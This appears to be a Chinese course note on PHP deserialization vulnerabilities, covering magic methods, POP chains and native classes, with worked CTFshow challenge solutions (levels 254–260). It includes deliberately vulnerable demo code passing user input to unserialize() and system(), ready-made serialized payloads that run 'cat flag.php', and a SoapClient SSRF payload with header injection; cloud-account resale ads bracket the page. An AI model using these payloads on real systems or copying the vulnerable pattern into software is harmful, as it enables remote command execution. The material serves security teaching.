day45 PHP反序列化&POP链构造&魔术方法&原生类

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

前言

#知识点

1、什么是反序列化操作-格式转换

2、为什么会出现安全漏洞-魔术方法

3、反序列化漏洞如何发现 -对象逻辑

4、反序列化漏洞如何利用-POP链构造

补充反序列化利用大概分类三类

-魔术方法的调用逻辑-如触发条件

-语言原生类的调用逻辑-如SoapClient

-语言自身的安全缺陷-如CVE-2016-7124

#反序列化课程点

-PHP&Java&Python

序列化对象转换为数组或字符串等格式

反序列化将数组或字符串等格式转换成对象

serialize()//将一个对象转换成一个字符串

unserialize()//将字符串还原成一个对象

#PHP反序列化漏洞

原理未对用户输入的序列化字符串进行检测导致攻击者可以控制反序列化过程从而导致代码执行SQL注入目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

#魔术方法利用点分析

触发unserialize函数的变量可控文件中存在可利用的类类中有魔术方法

__construct()://构造函数当对象new的时候会自动调用

__destruct()//析构函数当对象被销毁时会被自动调用

__wakeup()://unserialize()时会被自动调用

__invoke()://当尝试以调用函数的方法调用一个对象时会被自动调用

__call()://在对象上下文中调用不可访问的方法时触发

__callStatci()://在静态上下文中调用不可访问的方法时触发

__get()://用于从不可访问的属性读取数据

__set()://用于将数据写入不可访问的属性

__isset()://在不可访问的属性上调用isset()或empty()触发

__unset()://在不可访问的属性上使用unset()时触发

__toString()://把类当作字符串使用时触发

__sleep()://serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在该方法会被优先调用

反序列化-魔术方法&漏洞引发&变量修改等

<?php

//序列化&反序列化

classdemotest{

public$name='xiaodi';

public$sex='man';

public$age='29';

}

$example=newdemotest();

$s=serialize($example);//序列化

$u=unserialize($s);//反序列化

echo$s.'<br>';

var_dump($u);

echo'<br>';

//O:8:"demotest":3:{s:4:"name";s:6:"xiaodi";s:3:"sex";s:3:"man";s:3:"age";s:2:"29";}

//object(demotest)#2 (3) { ["name"]=> string(6) "xiaodi" ["sex"]=> string(3) "man" ["age"]=> string(2) "29" }

//安全问题

classA{

public$var='echo test';

publicfunctiontest(){

echo$this->var;

}

publicfunction__destruct(){

echo'x'.'<br>';

}

publicfunction__construct(){

echo'__construct'.'<br>';

}

publicfunction__toString(){

return'__toString'.'<br>';

}

}

//无需函数创建对象触发魔术方法

//$a=new A();//触发__construct

//$a->test();//触发test

//echo $a;//触发__toString

//触发__destruct

echoserialize($a);

$t=unserialize('O:1:"A":1:{s:3:"var";s:9:"echo test";}');

$t->test();


触发了魔术方法__construct

//触发了destruct()的魔术方法 ,不需要new一个对象就能触发类里面的函数

//漏洞出现

classB{

publicfunction__destruct(){

system('ipconfig');

}

publicfunction__construct(){

echo'xiaodisec'.'<br>';

}

}

//函数引用无对象创建触发魔术方法

//?x=O:1:"B":1:{s:4:"test";s:3:"ver";}

unserialize($_GET[x]);

//$b=new b();

//echo serialize($b);

//触发了对象销毁的魔术方法。

classC{

public$cmd='ipconfig';

publicfunction__destruct(){

system($this->cmd);

}

publicfunction__construct(){

echo'xiaodisec'.'<br>';

}

}

//函数引用无对象创建触发魔术方法自定义变量

//?c=O:1:"C":1:{s:3:"cmd";s:3:"ver";}

unserialize($_GET[c]);

?>

服务器将用户输入的数据进行反序列化导致用户可以通过修改字符串里的参数来触发魔术方法导致任意命令执行。

CTFSHOW-关卡254到260-原生类&POP构造

#CTFSHOW-关卡254到260-原生类&POP构造

254-对象引用执行逻辑

username=xxxxxx&password=xxxxxx

255-反序列化变量修改1

Code:

public $isVip=true;

$a=new ctfShowUser();

echo urlencode(serialize($a));

Get:username=xxxxxx&password=xxxxxx

Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

256-反序列化参数修改2

CODE:

public $username='x';

public $password='y';

public $isVip=true;

$a=new ctfShowUser();

echo urlencode(serialize($a));

GET:username=x&password=y

COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

257-反序列化参数修改&对象调用逻辑

<?php

class ctfShowUser{

private $class;

publicfunction__construct(){

$this->class=new backDoor();

}

}

class backDoor{

private $code='system("cat f*");';

}

$b=new ctfShowUser();

echo serialize($b);

?>

GETusername=xxxxxx&password=xxxxxx

COOKIEuser=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%22cat+f%2A%22%29%3B%22%3B%7D%7D

258-反序列化参数修改&对象调用逻辑

<?php

classctfShowUser{

public$class='backDoor';

publicfunction__construct(){

$this->class=newbackDoor();

}

}

classbackDoor{

public$code="system('cat flag.php');";

}

$a=serialize(newctfShowUser());

$b=str_replace(':11',':+11',$a);

$c=str_replace(':8',':+8',$b);

echourlencode($c);

?>

GETusername=xxxxxx&password=xxxxxx

COOKIEuser=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

259-原生态类&call魔术方法&配合SSRF

参考https://dar1in9s.github.io/2020/04/02/php%E5%8E%9F%E7%94%9F%E7%B1%BB%E7%9A%84%E5%88%A9%E7%94%A8/#Exception

生成序列化时记得开启SoapClient拓展php.ini中启用php_soap.dll

<?php

$target='http://127.0.0.1/flag.php';

$post_string='token=ctfshow';

$b=newSoapClient(null,array('location'=>$target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>"ssrf"));

$a=serialize($b);

$a=str_replace('^^',"\r\n",$a);

echourlencode($a);

?>

vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22ssrf%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22wupco%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

260-字符串序列化

ctfshow=ctfshow_i_love_36D

#CMS代码审计-Typecho反序列化&魔术方法逻辑

https://www.anquanke.com/post/id/155306

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6
标签: php

“day45 PHP反序列化&POP链构造&魔术方法&原生类” 的相关文章